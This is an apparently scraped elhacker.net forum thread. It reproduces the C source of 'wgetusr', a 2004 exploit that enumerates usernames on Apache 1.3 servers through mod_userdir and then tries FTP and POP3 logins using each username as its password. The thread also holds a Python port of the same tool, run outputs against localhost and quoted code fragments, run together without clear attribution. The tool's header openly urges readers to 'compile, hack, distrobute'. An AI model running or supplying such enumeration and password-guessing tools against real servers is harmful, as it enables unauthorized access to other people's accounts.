Foro de elhacker.net

• veryfing list: Failed

/*-------------------------------------------------------------------
 *
 * Exploit: wgetusr.c Windows Version
 * Author: HighT1mes (John Bissell)
 * Date Released: July 21, 2004
 *
 * --- Code ported to Windows with some added code,
 *     based on getusr.c exploit by CoKi ---
 *
 * Description from CoKi:
 * ======================
 *
 * This tool tries to find users in a Apache 1.3.*
 * server through wrong default configuration of
 * module mod_userdir.
 *
 * My Believe:
 * ===========
 *
 * I believe in the current state of the web right
 * now this information leak bug can be pretty nasty.
 * Once you have a couple login names on a system
 * there are many services the attacker can target
 * to attack and work his way into the target system
 * to get local access.
 *
 * Program Usage:
 * ==============
 *
 * Use: wgetusr [options] -h <host> -u <usrfile>
 *          -h     Host
 *          -u     Users file
 *         Options
 *          -f     Try log on via FTP
 *          -p     Try log on via POP3
 *
 * VC++ 6.0 Compilation Information:
 * =================================
 *
 * First go on the net and get the getopt libs and header
 * file for VC++ 6.0 Here's a link...
 *
 * http://prantl.host.sk/getopt/files/getopt-msvs6.zip
 *
 * Now extract the libs into your standerd VC++ Lib directory,
 * and extract the getopt.h header file of course into the
 * Include directory.
 *
 * Now to compile make a new console app project,
 * then put this source file in the project.
 * Next goto Project->Settings. Then click on
 * the link tab then goto the input catagory.
 * Now add getopt.lib to the end of objects/librarys
 * modules text box. Then in the Ignore Librarys
 * text box type LIBCD.lib to ignore that lib and allow
 * compilation to complete because of getopt lib.
 *
 * Also you where you added getopt.lib to the
 * objects/librarys modules text box put ws2_32.lib
 * in that text box as well.
 *
 * Your all set compile, hack, distrobute, have fun! :)
 *
*-------------------------------------------------------------------*/
 
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
 
#define DATAMAX 50
#define BUFFER 1000
#define TCPIP_ERROR -1
#define TIMEOUT 3
#define HTTP_PORT 80
#define FTP_PORT 21
#define POP3_PORT 110
 
void use(char *program);
int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout);
void vrfy_apache(char *host);
void vrfy_vuln(char *host);
int test_user(char *host, char *user);
int trylogonFTP(char *host, char *user, char *pass);
int mkconn(char *host, unsigned short port);
int trylogonPOP3(char *host, char *user, char *pass);
 
struct hostent *he;
char **fuser;
int sockfd;
struct sockaddr_in dest_dir;
 
int main(int argc, char *argv[]) {
 
  FILE *userlist;
  char c, *host=NULL, *ulist=NULL;
  char user[DATAMAX];
  int ucant=0, flogged=0, plogged=0, optftp=0, optpop=0, stop=0;
  unsigned int cant=0, i, user_num;
  WSADATA wsaData;
  int result=0;
 
  printf(" =================================\n");
  printf("   wgetusr exploit by HighT1mes\n");
  printf("  Based on getusr.c code by CoKi\n");
  printf(" =================================\n\n");
  Sleep(1000);
 
  if(argc < 2) use(argv[0]);
 
  result = WSAStartup( MAKEWORD( 2,2 ), &wsaData );
        if ( result != NO_ERROR ) {
                printf( "Error at WSAStartup()\n" );
                return( EXIT_FAILURE );
        }
 
  while((c = getopt(argc, argv, "h:u:fp")) != EOF) {
    switch(c) {
      case 'h':
               host = optarg;
               break;
      case 'u':
               ulist = optarg;
               break;
      case 'f':
               optftp = 1;
               break;
      case 'p':
               optpop = 1;
               break;
      default :
               use(argv[0]);
               break;
    }
  }
 
  if(host == NULL) use(argv[0]);
  if(ulist == NULL) use(argv[0]);
 
  printf(" [+] verifying list:\t");
 
  if((userlist = fopen(ulist, "r")) == NULL) {
    printf("Failed\n\n");
    exit(1);
  }
 
  while(!feof(userlist)) if('\n' == fgetc(userlist)) ucant++;
  rewind(userlist);
 
  printf("OK (%d users)\n", ucant);
  Sleep(1000);
  fuser = (char **)malloc(sizeof(ucant));
 
  printf(" [+] verifying host:\t");
 
  if((he=gethostbyname(host)) == NULL) {
    perror("Error: ");
        Sleep(1000);
    printf("\n");
    exit(1);
  }
 
  printf("OK\n");
  Sleep(1000);
 
  printf(" [+] connecting:\t");
 
  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) {
    printf("Closed\n\n");
        Sleep(1000);
    exit(1);
  }
 
  printf("OK\n");
  Sleep(1000);
  closesocket(sockfd);
 
  vrfy_apache(host);
  Sleep(1000);
 
  vrfy_vuln(host);
  Sleep(1000);
 
  user_num = 1;
  while(!feof(userlist)) {
    if(fgets(user, sizeof(user), userlist) == NULL) break;
    user[strlen(user)-1] = '\0';
 
    if(test_user(host, user) == 0) {
      fuser[cant] = (char *)malloc(sizeof(user));
      memcpy(fuser[cant],user,strlen(user));
      memset(fuser[cant]+strlen(user),0,1);
      cant++;
    }
 
        system("CLS");
        printf(" wgetusr exploit by HighT1mes\n\n");
        printf(" [+] searching for system accounts, please wait...\n");
        printf(" [+] processing user #%d\n", user_num);
        user_num++;
  }
 
  if(cant == 0) {
    printf("     no users found\n\n");
    exit(1);
  }
  else {
        /* print out valid usernames found */
        printf(" [+] scan results for %s:\n\n", host);
        for (i = 0; i < cant; i++) {
                printf("     found username: %s\n", fuser[i]);
        }
  }
 
  printf("\n");
 
  if(optftp == 1) {
    stop = 0;
    printf(" [+] trying log on via FTP...\n");
    printf(" [+] connecting:\t");
 
 
    if(mkconn(host, FTP_PORT) == TCPIP_ERROR) {
      printf("Closed\n");
      stop = 1;
    }
 
    if(!stop) {
      printf("OK\n");
      closesocket(sockfd);
      for(i=0; i < cant; i++) {
        if(trylogonFTP(host, fuser[i], fuser[i]) == 0) {
          printf("     logged in: %s\n", fuser[i]);
          flogged++;
        }
      }
      if(flogged == 0) printf("     no users logged in\n");
    }
  }
 
  if(optpop == 1) {
    stop = 0;
    printf(" [+] trying log on via POP3...\n");
    printf(" [+] connecting:\t");
    (stdout);
 
    if(mkconn(host, POP3_PORT) == TCPIP_ERROR) {
      printf("Closed\n");
      stop = 1;
    }
 
    if(!stop) {
      printf("OK\n");
      closesocket(sockfd);
      for(i=0; i < cant; i++) {
        if(trylogonPOP3(host, fuser[i], fuser[i]) == 0) {
          printf("     logged in: %s\n", fuser[i]);
          plogged++;
        }
      }
      if(plogged == 0)  printf("     no users logged in\n");
    }
  }
 
  printf("\n");
  fclose(userlist);
  WSACleanup();
  return 0;
}
 
void use(char *program) {
  printf("Use: %s [options] -h <host> -u <usrfile>\n", program);
  printf("         -h\tHost\n");
  printf("         -u\tUsers file\n");
  printf("        Options\n");
  printf("         -f\tTry log on via FTP\n");
  printf("         -p\tTry log on via POP3\n");
  exit(1);
}
 
int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout)
{
  int res, slen, flags;
  struct timeval tv;
  struct sockaddr_in addr;
  fd_set rdf, wrf;
  int iMode = 0;
 
  ioctlsocket(sfd, FIONBIO, &iMode);
 
  res = connect(sfd, serv_addr, sizeof(struct sockaddr));
 
  if (res >= 0) return res;
 
  FD_ZERO(&rdf);
  FD_ZERO(&wrf);
 
  FD_SET(sfd, &rdf);
  FD_SET(sfd, &wrf);
  memset(&tv, 0, sizeof(tv));
  tv.tv_sec = timeout;
 
  if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
    return -1;
 
  if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
    slen = sizeof(addr);
    if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
    return -1;
 
    flags = ioctlsocket(sfd, FIONBIO, NULL);
        iMode = flags & ~iMode;
    ioctlsocket(sfd, FIONBIO, &iMode);
 
    return 0;
  }
 
  return -1;
}
 
void vrfy_apache(char *host) {
  char buf[BUFFER], sendstr[DATAMAX];
 
  printf(" [+] verifying Apache:\t");
 
  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");
 
  sprintf(sendstr, "HEAD / HTTP/1.0\n\n");
  send(sockfd, sendstr, sizeof(sendstr), 0);
  memset(buf, 0, sizeof(buf));
  recv(sockfd, buf, sizeof(buf), 0);
 
  if(strstr(buf, "Server: Apache")) printf("OK\n");
  else {
    printf("NO\n\n");
    exit(1);
  }
 
  closesocket(sockfd);
}
 
void vrfy_vuln(char *host) {
  char buf[BUFFER], sendstr[DATAMAX];
 
  printf(" [+] vulnerable:\t");
 
  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");
 
  memset(sendstr, 0, sizeof(sendstr));
  sprintf(sendstr, "GET /~root\n");
  send(sockfd, sendstr, sizeof(sendstr), 0);
 
  recv(sockfd, buf, sizeof(buf), 0);
 
  if(strstr(buf, "403")) printf("OK\n");
  else {
    printf("NO\n\n");
    exit(1);
  }
 
  closesocket(sockfd);
}
 
int test_user(char *host, char *user) {
  char buf[BUFFER], sendstr[DATAMAX];
 
  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("     Closed\n");
 
  memset(sendstr, 0, sizeof(sendstr));
  sprintf(sendstr, "GET /~%s\n", user);
  send(sockfd, sendstr, sizeof(sendstr), 0);
 
  recv(sockfd, buf, sizeof(buf), 0);
 
  if(strstr(buf, "403")) return 0;
  else return 1;
 
  closesocket(sockfd);
}
 
int trylogonFTP(char *host, char *user, char *pass) {
  char buf[BUFFER], *senduser, *sendpass;
 
  senduser = malloc(sizeof(user+6));
  sendpass = malloc(sizeof(pass+6));
 
  sprintf(senduser,"USER %s\n",user);
  sprintf(sendpass,"PASS %s\n",pass);
 
  if(mkconn(host, FTP_PORT) == TCPIP_ERROR) printf("     Closed\n");
 
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  send(sockfd,senduser,strlen(senduser), 0);
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  send(sockfd,sendpass,strlen(sendpass), 0);
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
 
  if(strstr(buf, "230")) return 0;
  else return 1;
 
  closesocket(sockfd);
}
 
int mkconn(char *host, unsigned short port) {
 
  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == TCPIP_ERROR) {
    perror("Error");
    printf("\n");
    exit(1);
  }
 
  dest_dir.sin_family = AF_INET;
  dest_dir.sin_port = htons(port);
  dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  memset(&(dest_dir.sin_zero), 0, 8);
 
  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir, TIMEOUT) == TCPIP_ERROR) {
    return TCPIP_ERROR;
  }
 
  return 0;
}
 
int trylogonPOP3(char *host, char *user, char *pass) {
  char buf[BUFFER], *senduser, *sendpass;
 
  senduser = malloc(sizeof(user+6));
  sendpass = malloc(sizeof(pass+6));
 
  sprintf(senduser,"USER %s\n",user);
  sprintf(sendpass,"PASS %s\n",pass);
 
  if(mkconn(host, POP3_PORT) == TCPIP_ERROR) printf("     Closed\n");
 
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  send(sockfd,senduser,strlen(senduser), 0);
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  send(sockfd,sendpass,strlen(sendpass), 0);
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
 
  if(strstr(buf, "+OK")) return 0;
  else return 1;
 
  closesocket(sockfd);
}
 
/* EOF */
 

exploit.exe -f -h localhost -u archivo_con_usuarios.txt

• verifying list:  Failed

admin
goku
neo
luke
kirk
elbrujo

exploit.exe -f -h localhost -u users.txt

• verifying list: OK
• verifying host: OK
• connecting: Closed

#define HTTP_PORT 80
#define TCPIP_ERROR -1
 
int mkconn(char *host, unsigned short port);
 
printf(" [+] connecting:\t");
 
  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) {
    printf("Closed\n\n");
        Sleep(1000);
    exit(1);
  }

• verifying Apache:

• verifying list: OK (3 users)
• verifying host: OK
• connecting: OK
• verifying Apache: OK
• vulnerable: OK
• searching for system accounts, please wait...
• processing user #4
• scan result for localhost:

• trying log on via FTP...
• connecting: OK

 if(optftp == 1) {
    stop = 0;
    printf(" [+] trying log on via FTP...\n");
    printf(" [+] connecting:\t");
 
 
    if(mkconn(host, FTP_PORT) == TCPIP_ERROR) {
      printf("Closed\n");
      stop = 1;
    }
 
    if(!stop) {
      printf("OK\n");
      closesocket(sockfd);
      for(i=0; i < cant; i++) {
        if(trylogonFTP(host, fuser[i], fuser[i]) == 0) {
          printf("     logged in: %s\n", fuser[i]);
          flogged++;
        }
      }
      if(flogged == 0) printf("     no users logged in\n");
    }
  }

#!/usr/bin/python
import sys
import httplib
from ftplib import FTP
 
def usage():
	print "Usage:"
	print sys.argv[0] + " localhost users.txt"
	return
 
if len(sys.argv) < 3:
	print "#ERROR# Not enough arguments"
	usage()
	exit()
 
host = sys.argv[1]
fusers = sys.argv[2]
 
# Abrir archivo con usuarios
users = open(fusers, 'r')
 
print "Search for http users"
 
# Intentar conexiones por http y guardar los usuarios validos
valid_users = [] 
for user in users:
	user = user.strip()
	if not user:
		continue
 
	# Conectarse al servidor http
	conn = httplib.HTTPConnection(host)
	# Probar con el usuario user
	print "Trying user " + user + " ...",
	conn.request("GET", "/~{0}".format(user))
 
	res = conn.getresponse()
	if res.status == 404: # respuesta 404
		print "not found"
	else:
		print "OK!"
		# Salvar usuario
		valid_users.append(user)
 
# Salir si no se encontro ningun usuario
if len(valid_users) == 0:
	print "No user has been found. Aborting!"
	exit()
 
# Probar por ftp ahora
print "Try login to ftp server"
for vuser in valid_users:
	print "Trying user " + vuser + "...",; sys.stdout.flush()
	try:
		ftp = FTP(host, user = vuser, passwd = vuser)
		ftp.quit()
		print "OK!"
	except:
		print "refused"
 

python bf.py localhost users.txt

	if res.status == 404: # respuesta 404
		print "not found"
	else:
		print "OK!"
		# Salvar usuario
		valid_users.append(user)

	if res.status in range(200,300): # 2XX OK
		print "OK!"
		# Salvar usuario
		valid_users.append(user)
	else:
		print "not found"